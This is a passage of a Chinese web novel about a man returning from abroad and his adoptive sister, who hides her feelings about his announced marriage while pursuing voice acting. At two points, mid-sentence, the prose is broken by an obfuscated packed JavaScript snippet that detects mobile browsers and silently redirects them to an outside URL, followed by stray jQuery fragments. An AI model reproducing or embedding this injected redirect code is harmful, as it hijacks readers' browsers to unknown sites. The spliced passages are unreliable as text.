她隐隐觉得自己又被嫌弃了,这种被嫌弃的感觉让她想起了她哥去年的样子。她有点发愁,她哥的另一副人格不会是又被唤醒了吧?那样子阴晴不定地,简直让人摸不着头脑! 很快,她的猜想被验证了,她哥又开始不理她了!晚上回去路上不跟她说话,第二天一早又通知她,说他同桌这几天会在教室午休,要她别过去了,她一眼识破这不过是他的借口,可也很有眼力见地没有拆穿。 乔贺沉有心事,这是显而易见的事实,只是没人知道他在想什么,就连乔贺沉自己,都不知道自己怎么想的。 以前他尚且能说服自己,是因为喵是妹妹,因为喵很可爱,所以他才想要捏她的脸,想要跟她有肢体接触,偶尔想法相当强烈的时候,他就被迫选择摆脸色,让喵离自己远点儿。可现在呢,喵长大了,他觉得自己有了足够的自控能力,也不断地给自己洗脑,跟喵亲近是很正常的事,所以纵容她来牵自己的手,纵容自己去捏她的脸,甚至她偶尔靠来自己身上,他也能找到合理的说法,但再合理,也不包括现在他那拦也拦不住的龌龊思想。 他不知道自己怎么了,他急需找到一个答案,一个支撑他行动的理由。 体育课的时候,有女同学给他水,他破天荒地接了,还尽量自然地跟她说了一会儿话。这位女同学是公认的美女,他装作十分坦荡地去看她,逼着自己全心全意地去看她,可脑袋里冒出来的却还是另一张脸。 有女同学来问他数学题,他也去注意人家的脸,观察人家的神态,观察得太认真,以致于他猜想人家肯定在心里以为他是变态了,可他还是坚持多看了一会儿。 他渐渐得出了一个结论,他想他是个极其……爱美的人,他喜欢长得漂亮的女孩,一般漂亮的还不够,必须得漂亮到喵那种程度,必须是喵那类长相,一旦没有喵那样漂亮,一旦不是喵那种类型,他就不会有任何脸红心跳的反应,就不会有面对喵时的那种冲动。 他一连观察了很多天,直到席安察觉到他行为反常,问他什么情况:“你最近怎么忽然做起好人来了?楼下高二的女同学来问你问题你都帮忙讲,你、脑袋出问题了?” “……可能吧。” 席安被好朋友的答案震住了:“不是,什么意思啊,你想谈恋爱了?可你盯着别人看的时候,不像是要跟人发展恋情的样子啊,更像是要把人吃了,怪吓人的啊我说!” 乔贺沉没搭理他,过了一会儿又斟酌着问:“你觉不觉得,阿喵现在……很漂亮?” 席安立时跟见了鬼似的,嘴巴长得老大,以前但凡有人跟乔贺沉说他妹妹多漂亮,他都要给人甩脸色,现在却主动提起来,他夸张了一通才正经回答:“你家基因太强了,真的。想也知道,现在肯定更多人追阿喵了吧?” 乔贺沉不答反问:“会有人不喜欢阿喵吗?” “呃……那咱也不能太自信,对吧?各人有各人的取向,比如我,我就——” 乔贺沉打断他,自顾自重复:“你说得对,各人有各人的取向……” 席安搞不懂他在想什么,见他不太正常但又还算正常,一时也没追问他,把手里厚厚一本书递过去:“你之前让我借的,给你借来了,我看这专业挺一般吧,你想学?” 乔贺沉一见书,立马翻开来,现在只有学习能让他短暂地投入进去,市场营销这专业到底一般不一般,他看看书就知道了,学不学地,也等看完了再说吧。 10、5杯银子弹 乔贺沉想要了解市场营销,是因为《星露谷物语》。《星露谷物语》出来,孔阿喵就沉迷其中,为了挑衅他,说什么他玩了就输了,他本来就对这种游戏没兴趣以前都是陪她 起玩比起游戏本身,跟她一起玩更有意思,他平常玩的都是竞技类游戏,偶尔上Twitch看看直播。那段时间喵每天都故意到他眼皮子底下玩,他见她玩得津津有味,多少还是受到了诱惑,转头再看直播,他关注的主播正在例行每日 一推荐星露谷,换个主播看,还是星露谷,他看得烦了,伸手就把喵的笔记本抢来,申请了号在她的碎碎念下开始玩。 倒不是说《星露谷》的营销有多厉害,他就是想要搞清楚他这种看烦了然后决定上手玩的心态,在营销里到底属于一种什么样的心理。 那会儿他也就是简單涉猎,至于高考后怎么填志愿,他没有想好。他没有特别感兴趣的专业,也没有什么特别沉迷的事物,所以也很是苦恼过一阵时间。妈告诉他,没有特别喜欢的没关系,以后有了再学 也不迟,眼下就先选个不讨厌的,边学边瞧,不行还能转专业。 所以后来他去读了个经济-数学双学位。他不讨厌的专业也不少,但要论最不讨厌的还是钱,读这个专业可以学学“钱”,读完了也能赚钱,想要继续深造选择也广。 等四年学读完,他还是没有找到特别喜欢的事情,那就继续学怎么赚钱吧,现在是营销的时代,这回他就真的决定学市场营销了。原本他没想过出国,但那时那刻,除了出国,他找不到其他更好的方法 了。 他顺利申请到了奖学金,但没申到学校宿舍,只能自己去校外租。学费贵,房租也贵,他想着跟人合租更省钱,恰好就有同学主动找上门来,两人看了几处房子,中间又有一位女同学加入,这人就是乌 云桑。 不过适合三人住的房子并不好找,两男一女住一起总归也不太方便,于是最后两人跟乌云桑做了邻居。 乌云桑申请去做了TA,为了奖金常常参加各种比赛,还要上课,一日三餐都是应付下来的,乔贺沉有时候看不过眼,有闲的时候会多做点,喊她来起吃。她跟他是老乡,能聊的话题很多,一来一往两 人就熟了。 乌云桑吃了很多顿乔贺沉做的饭,最喜欢他那道拿手的双椒炒牛肉,可以说是百吃不厌。去年她回国工作,偶尔想起来会从餐厅里点来吃,但味道跟乔贺沉做出来的相差甚远。 今天她又特意点了一份来,催着乔贺沉吃一口,问:“怎么样?我没夸张吧,没你做的好吃。” 她眼神里充满暗示,乔贺沉失笑道:"牛肉还不简单么?改天给你做,要多少做多少。" 乌云桑笑:“你这句话要是换个前提,我会更高兴。” 乔贺沉心下了然,开着玩笑说:“乌总,换个前提我昨天也已经答应你了。业绩,客户数量,交易额,全是你定的,您哪个不满意?” “我相当满意!”乌云桑没有一丝 毫的夸张,乔贺沉答应她的业绩,先不说别人一年都难做到,她直接减半,要他半年达成,他没怎么犹豫就答应了,有此员工,夫复何求啊是吧?她简直是捡了个大便宜!当然,中间她也做了妥协,原本她是希望乔贺沉来给她做分析的,但他说不行,他要改做内容,去做方案做创意,她要不接受的话他就换个公司去,她不用想也知道他手里的fer少不了,也看出来他是想先过渡一段时间,正因为看出来了,就越不能轻易让他走人——“可是,你就一丁点儿不打算跟我合伙?就一丁——点儿的想法也没有?” “一J——点儿也没有,”乔贺沉学了她的语气,说,“但半年后有没有我就不知道了,指不定半年后我完不成你要求的指标,你也不希望我来跟你合伙了。” 乌云桑知道这是他不正经的谦辞,说:“我的诚意够明显了吧,去年就喊你 起回来,你说不想回,”当时她还问他怎么个打算,他竟然说不知道,一个时刻目标明确的人说不知道接下来的规划,愣是 把她给弄糊涂了,现在她也没清醒到哪儿,“前前后后我也跟你说了不少次了,你就是不肯,我就好奇啊,到底是什么让你忽然决定回来的,你别是有什么大计划,到时候家独大,我们就没生意可做了 啊!" 乔贺沉哭笑不得:“你放心,要有什么大计划,我一定提前告诉你。” “我没跟你开玩笑!”乌云桑是真的困惑,“我给你的薪水就那么点儿,还没你在国外的零头多呢吧,你就那么一口答应了,我心虚,我恐慌,我害怕呀!” 乔贺沉仍是笑:"那你再给我涨点儿?" “呃,那个,什么,我开玩笑的,我虽然恐慌,但我也只开得起这么多给你,要不……我车借你用?” 乔贺沉笑得放下筷子,想了想说:“我确实是有大计划,这大计划里还需要你帮忙,你就当我还你人情了。何况我也不是没有跟你提要求,现在当务之急是先招人,把团队组建起来,我已经约了两个下 午来面试,待会儿我把简历要求发你,你那边有合适的人选也可以推给我,”乔贺沉说着站起来,“ 再帮我问问其他同事想喝什么,我出去见个朋友,回来的时候我买回来。” 乌云桑已经习惯他一口气说好几件事,她一件件还在反应中,先问眼前:“你这就吃好啦?!” 乔贺沉没吃好,他没什么胃口,出门去了跟席安约好的餐厅,给席安点了份吃的,自己要一杯热饮,坐下后一边打游戏一边等席安。席安公司也在附近,下了班赶过来,一见他埋头在玩《星露谷》,用的还是原来那个初代的红蓝机,也见怪不怪了,笑着从兜里掏出钥匙给他。 本来前两天去接机的时候就该给他,可那时候他电话来得突然,他只知道他要回国,以为怎么也要等到年后,谁知道年前就回来了,钥匙那会儿被他放办公室抽屉里呢,忘了一并给带上。“给你装完这套房我算是可以出师了,下回给我自己装就不用走那么多冤枉路。”席安感叹道,坐下来又说,“我建议你最近别看房价,你会心痛到吐血的。”乔贺沉抬起头来,好笑道:“你还要再等等?” "等啊!当然要等,你当初要是听我的劝,现在你花同样的钱,还能额外送我一套差不多大的呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807047|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。"乔贺沉不以为意:“我那时候不买,现在不就买不到这套了?”这倒也是,席安就很喜欢他那套房的位置朝向,视角也是小区里独一份了,“那现在是怎么样?准备住进去了?” “准备……也不准备。” “什么意思?” "再说吧,才刚回来,这段时间先住家里。"席安乐了:“要住就住呗,怎么还纠结起来了?”乔贺沉按了按太阳穴:“你知道这房子准备用来干嘛的吗?”"住呗,还能干嘛?" 乔贺沉笑了下,他盯住席安的脸色表情看:"用来当婚房的。"席安瞪大眼:“婚房?!” 乔贺沉点头,继续观察他的反应:“我要结婚了。”席安惊得就差掀桌子了:“什么情况?真的假的?!”乔贺沉看完他的反应,笑得很是无奈:“吓人么?” “能不吓人么?一点心理准备都不给?!”席安觉得不可置信,“不是,靠,你女朋友我都还没见过呢,这就要结婚了?靠靠靠,到底什么情况啊?!你别是骗我呢!” 席安的反应说起来并不算夸张,他自认跟乔贺沉铁得就跟亲兄弟一样了,可这位兄弟交女朋友的事儿,他还是从阿喵那里得知的,得知的时候这女朋友已经出了一段时间了,他当时立马就给乔贺沉去了 通越洋电话,问他什么情况,他三言两语说了,也没主动发张照片来给他看看。他虽然也好奇,可也忍住了没问,想着反正过段时间去美国能见上,谁知等他去了,乔贺沉女朋友又恰好不在,所以最终也没 见成,到现在也只是见过照片,那照片还是一张大合影,甚至是他主动问的乔贺沉。 乔贺沉就从不主动提起自己的恋情,搞得他都怀疑他是不是交了个假女朋友,有时候又想,是不是因为谈得不够认真才不想提的,无论怎样,总归他女朋友在他这里是没什么存在感的,现在他忽然说要 结婚,愣是把他给吓到了。 “不是我说,你们家是流行都这么突然恋爱结婚的么?“席安还不愿意相信,半信半疑道:“上回我听说阿喵带男朋友回家见家长,眼晴都要瞪出来了,以为这就要结婚了呢,赶紧找你问清楚,谁知道 你也一问三不知。" 乔贺沉一听笑了:“你跟汤燃还联系么?他最近怎么样?” 席安见了鬼了:“你还记得人名字呢?” "怎么会不记得?要是你联系得上,改天我请他吃饭。" 我没听 吧?你请阿喵的前男友吃饭?“席安真是奇了怪了,“以前有谁跟阿喵走得近一点,你就看人家不顺眼…”这话 说,席安忽然觉得有点不合适,回味两秒又觉得也没什么,“不是,你到底 真的假的?真要结婚了?什么时候决定的事儿?别是脑袋一拍拿我开玩笑呢?" 乔贺沉苦笑:“你看我像开玩笑吗?”"我……我不知道啊!不是问你呢么?"乔贺沉叹气:“阿喵信了,你说真的假的?” 席安蹙起眉头来,心里的猜想渐渐成形,好一会儿才说:“不是,什么意思啊,是我想的那样吗?”乔贺沉没说话。 “问你呢,别走神儿呀!” 11、6杯银子弹 妙零走神了。 旁边郑经理喊了她几遍,她才回过神来。 郑经理看不清她的表情,因为她戴着医用口罩,遮去了大半张脸,他一直不太明白为什么她总是戴着口罩,冲她说:“妙零你读不读社科类的书?平常多读 些书没什么坏处的,有哲学家说啊,人与人之间的距离越来越远了,靠着手机电脑交流算不上交流,真正的交流是面对面,要有眼神交流,要有声音当做媒介,要近距离地感受别人。我感觉口罩就相当于手机虽然自能隔绝病毒,但其实也把真实的人往外推了,始终隔着一层。你戴口罩是成习惯了?” 妙零听进去了,也没听进去,她心思根本不在这儿,点了下头说:“嗯,隔绝污染源。” “现在空气还不错的,你戴着不憋闷?” “不是,是怕人,人比较脏。” 郑经理怔了怔,讪笑道:“现在病毒传染是挺吓人,可也不能矫枉过正了,待会儿见了客户可得摘了啊。”妙零没应声,她今天就不太想来上班,来了也不想做事,现在甚至想直接甩手不干,那也就用不着去见什么客户了。 但她忍住了,因为如果不上班,她也不知道自己该去哪儿,该去做什么,那不如就摸鱼到底,她现在抱着破罐子破摔的想法,郑经理跟她说话她爱答不理,到了餐厅见到客户,客户跟她客套,她也只是敷衍地笑两下。她无所谓了,大不了被开了就是了,反正本来就准备卷铺盖走人。 可一顿饭吃完,没人说她态度不好,合同也不费什么力气顺利谈成了,客户甚至好心示意不远处另 张桌子,提醒她:“是不是认识的朋友?看了你好多次。”妙零平常被偷瞄多了,想着估计又是哪个无聊的人,回头一看,无聊的人没见着,倒是见着一个好久不见的熟人。另一头虞渊见孔妙零总算是发现了自己,看起来也并没有把自己忘了,他忍不住冲她笑了笑。 他认识孔妙零是在大学里的配音社,那会儿他大四,作为配音社的社长去南广场招新,来来往往的人里,他看到一个女孩在他们摊子前踌躇不定,打算把人请过来,可多看两眼又放弃了念头。如果他上去跟人说话,很容易被认为有搭讪美女的嫌疑。他不去搭讪,社团里还有其他人更积极,把她抓了过来,变着花样自卖自夸,努力说服她进社团,起初她都没说话,等到填完申请表,甫一开口,所有人都愣住了。 她几乎是百分百模仿了站她对面的男生的声音,发音、节奏感、语调甚至是呼吸控制,她都学了个十成十。虞渊觉得不可思议,好奇她是怎么在短时间里没有经过任何练习就说得这么像的。他没问,其他人比他更积极,问她都是怎么观察别人说话的,她说她也说不出来,就是仔细听人说,听了再张口,就能模仿出来。 一个人不知道自己为什么能做好一件事,这大概就是所谓的天赋吧。社团里的人爱开玩笑,说他跟孔妙零是社团两宝,他认为自己并不够格,没有孔妙零那么有天赋。他美慕孔妙零可以那么轻松自如地 调动自己的声音,平常见了面总忍不住要跟她多聊几句,习惯性地去观察她是怎么发音怎么吸气吐气的,也留意她的嘴型。 他期望跟她交流,但她并不常参加社团里的活动,有几回他把配音相关的讲座信息发给她,她都没去。他意识到她对那些学院派的专业知识没多大兴趣,也并不把配音当做件多么重要的事情来看待。有才华而不施展出来,虞渊多少觉得有些浪费,劝她跟他 起去参加了两次试音,毫无意外她都被选上了。两人有段时间固定一起去录音棚,他们录音的时候,她男朋友会在外面等她,似乎是姓周,周什么他一时记不起来,总之是学校里有点名气的一个男生。 但他清楚记得孔妙零的声音,甚至前几天他都还在听他们以前录的那部广播剧,当时两人只是协役,戏份也不多,但孔妙零的部分他听很多遍也不会厌。他们私下里练习的时候他也录了音,每次她觉得哪里有问题的都时候,都会一本正经喊他“虞渊师兄”,然后给出自己的意见。几年过去,那会儿她大二,现在应该是毕业一年半,她仍旧像以前那样喊他—— “虞渊师兄?” 妙零不记人名,但准确记得虞渊这个人,主要是因为他的声音好听。他的名字很容易就读得模糊,别人喊他总会吞音,但他本人读起来的时候字正腔圆,气息下沉,带动得声线也稳定下来。和几年前相比,虞渊的声音有些变了,她依旧说不上来变了哪儿,但就是确切地知道变了,她忍不住在寒暄的时候出声模仿了两句,模仿完觉得还成,开玩笑问:“90分?”虞渊听得笑,如果非要打,他还是会像以前那样,默默在心里打九十九,不打一百是因为每个人的生理差异是很难克服的,比如声带结构,比如共鸣腔体,抑或是肌肉控制。而孔妙零已经把这些差异控制在了极小的范围内,正是因为这样,他越是觉得可惜:“你后来再没有录过东西了?” “也录了的,”妙零笑起来,“不过都是我自己瞎录,也都是给我自己听。”虞渊顿了顿,问得小心翼翼:"我可以听一听么?""录音吗?”妙零有点为难,“我保存下来的很少….." “不是,是现场录,现 场听。” 妙零没有太明白,虞渊解释说:“我们工作室最近正在筹备 部年代剧,时间跨度大,角色的年龄跨度也大,对声线的多样性要求很高,有个角色一直没找到合适的人,我觉得你的声线跟角色性格很 贴,不知道……你有没有来试音的想法?" 虞渊最近找了很多朋友来试音,也一直在海量地听认识的不认识的CV的声音,可都没有让他满意的,直到前几天他又找出那部限孔妙零合作的广播剧来听—其实他早就觉得孔妙零的声音来配很合适, 听试音的时候几乎也就在照着她的声音来当标准。他跟孔妙零很久没联系了,并不是没有尝试过,而是孔妙零似乎换联系方式了,始终没有回复过他。 他之前想的是,找一个跟她声音相像的人,现在她本人就这么巧地出现在了他的眼前,那他没有道理不找她本人来配。 他暗自激动了起来,但也清楚,她这么久都没参与过任何配音,大概率是没什么意向参与进来的,但出乎他的意料,她竟然爽快地答应了。 这并不是妙零冲动之下做的决定,她其实早一阵子就动了换工作的念头,粗略地做过一些打算,但始终未成形,眼下这份工作她早晚要辞,只是现在被逼得提前做了决定。她这两天把简历乱投一气,什 么岗位的都有,原本也在犹豫要不要接触一下配音行业,现在恰好虞渊师兄递来一根橄榄枝,她觉得去试试也没什么不好。 “剧本可以先看吗?还是先试音?”她问。 “剧本我发你,或者……你这周末有时间吗?直接到棚里试一试也行,试了你再看看剧本满不满意。” 妙零这周末约了不少面试,怕时间上有冲突:“你们工作室在哪边?” “在高新科技园区,我周末都在工作室待着,你随时都可以来。”他说着又想到距离的问题,“你家在哪边?过去远么?” 有点距离,”妙零干涩地笑了笑,竟然又是科技园区,她上午刚推了几个那边的面试,昨天约好的她也在考虑要不要推掉,她短暂纠结了会儿,说,“不过我晚上正好要去朋友家住,她家就在科技园区。” 别的面试她还可以再考虑,眼前这个她是真的感兴趣,不管结果怎么样,先去试了再说吧。何况科技园区那么大,不一定就会那么巧。 说是这周末,其实也就是今明两天了,她跟虞渊约定好时间,又重新加上联系方式,走前妙零还是跟虞渊要了剧本,她无心上班,但必须要给自己找件事情来做。 虞渊给的是前五集的剧本,并不算长,但也够她看一下午了,看完 遍,她又在出租车上从头看起第二遍,车子一直往东,路上她接到一通电话,是昨天那个租房中介打来的,问她考虑得怎么样了。“现在房子也不好找,合适的更难碰到,这样,如果你押一付三,我给你减100,或者押一个月,一个月就没得减了……唉,要不也给你减了,这房子你租了真的不吃亏的!” 妙零本该说等面试结束再决定,但最终她还是直接拒绝了,说计划临时有变,暂时不找房子了。到底要不要找,她其实还没想清楚,只知道就算要找,也绝对不能找科技园区这边的。 妙零下了车,看了一路的字,她头有点晕,一抬头见姜俞西穿一身睡衣站在小区门口,还以为自己看错了。姜俞西最近忙着准备面试,按道理是没空下来等她的。 她走近问:“你等外卖啊?不是说了我会带的吗?”姜俞西将她手一挽:“等什么外卖啊,我来接你的!”妙零不信:"为什么啊?" “什么为什么?还能为什么?当然是因为我爱你呀!”妙零立马作出一脸嫌弃状:“什么情况啊?” “情况就是,我们阿喵人美心善,是冬日里最亮眼的小甜心,是在我头顶缓缓升起的 轮明月,那么皎洁,那么地令人惊叹,我怎么舍不得她一个人孤孤单单来找我呢?!”妙零清楚姜俞西肯定不是无缘无故这样,可还是没忍住笑了,她继续听她换着花样把她夸得天花乱坠,等进了她家,她才问:“到底什么情况啊?”“这话应该我问你,”姜俞西这回正经了,盯着好朋友的脸看,“我就知道我昨天猜得没错,哭了吧?” 妙零一愣:“谁哭了呀?” “你呀!昨天说要来我这儿,转眼又说不来了,还说是有什么大好事儿?”妙零低头避开姜俞西探究的视线:“是有好事儿呀。”"大好事儿那你怎么还哭了?""我没哭呀!谁说我哭了?"“那眼睛怎么肿了?”姜俞西一直追着她的视线不放,"肿得这么厉害,今天也哭了吧?" "没…有……" 妙零坚持否认,却不受控制地哽咽了一下,她自己愣了愣,竭力想要忍住,可眼泪已经不受控地掉了出来,姜俞西-看,忙过去搂住她,摸着她背问她到底发生了什么事儿,妙零搖着头说没有,伸手把眼泪给抹了,可刚抹完,又有新的掉出来,她觉得这样不行,她并不想在其他人面前哭,可禁不住姜俞西来问,她一问,她的眼泪就更是跟决了堤似的,一股脑全往外涌,她继续摇着头,张口想要解释,可一张口,仍是哽咽,最终,她到底没有忍住,伏在姜俞西的肩头哭了起来。 姜俞西没有再问她,只是不断地安抚,让她先把情绪倾泻出来。 她的朋友孔阿喵是个眼泪水很多的人,有点多愁善感,偶尔会露出一副心思很重的模样,有时候戴着耳机听广播剧,听着听着就泣不成声了,抓着她的胳膊说俞西这段音乐好催泪啊呜呜呜吗快,你也听听,就这儿就这儿,配合剧情出现得恰到好处,你知道那个点的吧,一定要这个点,早 秒晚 秒都不行,不然情绪就乱了,呜呜呜是不是是不是,太好哭了呜呜鸣 她听她形容了好 会儿也没听明白那个打中情绪的点,但总归明白了阿喵是为了什么在哭。 可有那么几回姜俞西直到现在也没搞清楚,那几回阿喵哭得两只手都痉挛抽筋了,她吓得问她怎么了,她只是摇头,她再逼问,她就说不知道。 阿喵说不知道怎么回事儿,并不是真的不知道,她肯定知道的,只不过是不知道该怎么面对,该怎么处理。她慌了,也乱了,所以才哭了。 还有一回,她也是哭到有点不能自控了,但那回原因是清楚的,是因为她哥要出国读研了,她哭得几乎是肝肠寸断,眼睛肿得跟鱼泡似的。 阿喵跟她哥纠纠葛葛的兄妹情,姜俞西作为旁观者,有时候都搞不明白,这俩好的时候都有点不像是兄妹了,坏的时候呢,也不像兄妹,更像仇人。 这几年她哥出国在外,她都不怎么提起,现在她哥才刚回来,她又难过成这样,这算是怎么回事儿嘛? 等到她稍稍冷静下来,姜俞西试探着问:“是跟你哥吵架了?” 妙零暂时没再哭了,她摇头,张口想要解释,发现声音哑了。 姜俞西给她倒了杯热水,她连喝好几口,说:“我追的剧,女主角死了,我今天又听了好几遍,每听一次就哭一次。” 她说完冲姜俞西露出一个抱歉的笑容,意思是,不好意思,是我小题大做,让你白白担心了,我有罪! 姜俞西 时都失语了,阿喵的这个解释并不是毫无信服力,甚至可以说相当合理,她确实常常为了广播剧的某个角色或者某段剧情连哭好几次,可每次都是不等她问,她自己就先解释清楚了,不会像这 回这样避而不谈。 但姜俞西也没继续往下问,阿喵不想说,她没必要逼她,只是故作恼怒地瞪她一眼:“都是女主角了,那肯定不会真死啊,就算真死了也还能活过来,编剧总有一百种方法能把问题解决掉,笨啊你!你 哭了,就是上了编剧的当了!" "怎么是上当呢,说明她写得好啊。" “好个屁,把听众虐得死去活来就是写得好啦?靠什么车祸啊,死啊来发展剧情的,都说明编剧的叙事能力不行,这完全就是编剧没其他招了,只能靠一些偶然性的事故来推动情节发展。” “可是……”妙零撒了一个谎,只能用另一个谎言来圆,“女主角的死写得很合理啊。” “好吧,那说明编剧肯定提前就埋了很多伏笔,让逻辑能够自洽,但这种安排……还是不够高明,也就骗骗你了,爱哭鬼!我就不信别的听众也能哭成你这样!” 妙零被姜俞西瞪得笑了出来,她摸摸肚子说饿了,两人便一块吃起饭,正吃着,妙零的手机响了,打开—看,是她爸在群里连发了好几张照片。 “阿喵快看,你哥的新房子,装得还不错吧!” 妙零勉强把嘴里一口饭咽下去,犹豫片刻后准备点开照片,可手就要挨上屏幕,她又生生顿住,转个手直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807048|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手机给摁灭了。 她低头大口扒饭,吃了两口又重新点开手机,在群里接连发了两条消息:“太好看了吧!房子真大!视野也这么好。” "呜呜我还在加班呢,俞西喊我有事儿,晚上我就不回家了,去俞西家住,她待会儿来接我。" 发完她继续吃饭,吃完 碗再吃第二碗,吃完了又点开剧本来看,时不时读几句给姜俞西听,姜俞西则在旁边做模拟面试,要她随便提几个问题,妙零学着HR的腔调问:“你有男朋友了吗?” 姜俞西打了个冷战,觉得眼前真坐着一个多管闲事的HR,她皮笑肉不笑:“男朋友没有,女朋友有一个,我限她感情特别好,如果她哪天要去别的城市工作,我肯定会跟着她 起去,所以稳定性这一块我暂时没法保证。" 妙零错愕了两秒,说:“呃是这样,我们公司非常注重员工的稳定性,所以呢……” 所以你们招人干嘛呢?不如招一群机器人呀,它们够稳定了吧?不用恋爱,不用生孩子,不需要服产役,你们说什么就是什么!”姜俞西也演了起来,“都什么年代了,早几年的招聘通知没看呢,个人隐私不能问知不知道?!" 妙零作出一副欲要吐血的形状,但忍住了:“规定不是死的,你们现在的年轻人呀就是轴,不知道变通,公司都是利益为先对吧?你你你……” 妙零编不下去了,跟姜俞西笑作一团,姜俞西笑了两下摸到正在震的手机,拿起来一看,冲妙零说:“咦,你哥的电话。” 妙零的笑就那样止在脸上,她犹豫了一会儿,起身走到窗子边才接通。 乔贺沉那头有点吵,他说爸妈看完房子回家去了,他跟朋 友在外头吃饭,问她吃过没有。妙零说吃过了,他又说:“你朋友家的地址给我发一下,我拿个东西给你。” "….…什么东西啊?过两天再给不行吗?" "我也不知道什么,袋子装着,是云桑让我给你的,神神秘秘的,我还好奇是什么东西呢。"妙零失语片刻,差点直接把电话给挂了,她揪住旁边的窗帘,说:“那你过来吧,我把地址发你。” 挂完电话,她仍站在那儿,一动不动地,直到姜俞西在背后喊她。她捂了捂眼睛,转头冲姜俞西解释:“我哥说待会儿要过来。”“他来接你啊?” “……不是,他说给我拿个东西。” “那你让他来啊,我都好久没见你哥了,我宵夜多点一份!” “别了,待会儿我下去吧,他给完东西就走了,”妙零顿了顿,说,“你跟我一起啊,我哥他……变了挺多的。” 姜俞西一听更好奇了,还特意把睡衣换了才下楼,阿喵她哥就站在对面,打远了一看,没看出什么来,走近了再看,发现乔贺沉确实变了。运动了的跟没运动的人差别还是挺大,乔贺沉显然是平常都在 健身,相比学生时代,现在的他看起来没那么清瘦,身板在那儿一立,比从前更加挺拔,整个人的气质也都变了,当然,也还是一如既往地帅。 “乔师兄,好久不见!”她跟他打招呼,一点不遮掩地打量他。 乔贺沉被盯着看也面色如常,冲她礼貌地笑:“好久不见姜师妹,阿喵说你有事找她,没打扰到你们吧?” “噢!也没什么事儿啦,”姜俞西看一眼旁边的阿喵,就知道她肯定是跟家里撒了谎,她当然是帮着一起遮掩,“我俩明天都要面试,正一起模拟呢!” “面试?”乔贺沉看一眼喵,见她努力不让自己表现出心虚来,当即就什么都明白了,他不动声色地问姜俞西:“我记得阿喵说你读研了,快毕业了吧?” "就一学期了,所以正找实习呢。" “怎么样?有碰到合适的吗?”乔贺沉之所以喊姜俞西师妹,是因为她确实跟他是大学校友,甚至还是一个学院的,只不过她是另一个实验班的,专业跨了三个学科,他问,“有没有意向来做MKT?”姜俞西-听立马来了兴趣,一来一往把她想要的信息问了个全,初创工作室,新业务新部门,包括薪水在内,统统对她没有太大吸引力,可有一样足够吸引她,那就是乔贺沉这个人了。她早就从阿喵那里问过她哥在美国时就职的公司和大概薪水,要是可以跟着他实习,能学到的应该不会少。 “薪水不能再谈啦?”姜俞西是不愿意吃亏的。 “能谈,”乔贺沉笑了,“你哪天到我们工作室来,先看看环境和工作氛围。”姜俞西果断问道:"明天你有时间吗?" 乔贺沉说有,找出一张刚做的名片给她:"上面这个地址,从这里过去挺近的。" 姜俞西蠢蠢欲动,把名片收好,她看一眼阿喵,又看一眼阿喵她哥,指指附近的大门说:“你们先聊着,我去便利店买点东西,阿喵我给你带冰激凌啊!”她走得飞快,妙零见她转个弯很快就不见了身影,转头再去看她哥,又看向他脚边搁着的两只袋子。 她决定快刀斩乱麻,问道:"是什么啊?" 乔贺沉跟着低了头,“这个待会儿你给姜俞西,”又示意另一个,"这个,现在拆?" 拆啊,我都好奇死了!”妙零作出急切状,袋子里装着一个盒子,她接过来要拆,外头裹着一层薄薄的透明膜,平常一下子就能戳破,现在却故意跟她作对似的,怎么也弄不开,她急了,可越是急,越是戳不破。 乔贺沉在旁边默默看着她,才这么一会儿,她鼻子跟手已经冻红了,嘴里吐出热气,看着要把她长长的睫毛给染湿了。 “笨。”他把盒子接回来,三两下把膜给撕了,又把盖子给掀开,递到喵的面前。里面是一支录音笔,妙零开口有点犹豫:"那个……姐姐,她怎么知道我想要这个啊?"“我跟她提过,"乔贺沉语气极为自然,“你配的那个广播剧,我也找出来给她听过。” “……噢。”妙零把录音笔拿出来看,努力找话说,“这个好贵的,我明明是要你给我买的,你怎么好意思让姐姐出钱?”“她出我出有什么区别?以后我的钱都是她的,现在也差不多了,谁出钱都一样。” 妙零有片刻的沉默,她垂下眼眸,紧紧攥着手里的笔说:“那总还是不一样吧,你把姐姐的联系方式给我,我总要跟她说一声谢谢。”“都是一家人了说什么谢?”乔贺沉低头看喵,只看得见她的额头跟鼻尖,“过几天她来家里吃饭,你非要说当面跟她说就是了。”“那你也把她联系方式给我啊,我不说谢谢就不能跟她聊天啦?!” 她语气有些冲,隐约像是在逼问,乔贺沉一瞬不瞬看着她,忽然笑了:“我还以为你对她一点都不好奇呢,以前视频的时候提到她,你立马就跑了。”“谁跑了呀,我肯定都是有事的呀!” “每回都有事?” 妙零噎了下:“不是有时差么,你每次打电话都赶上我忙的时候。”乔贺沉不置可否:“那你打算跟她聊什么?”妙零别开头:"想聊什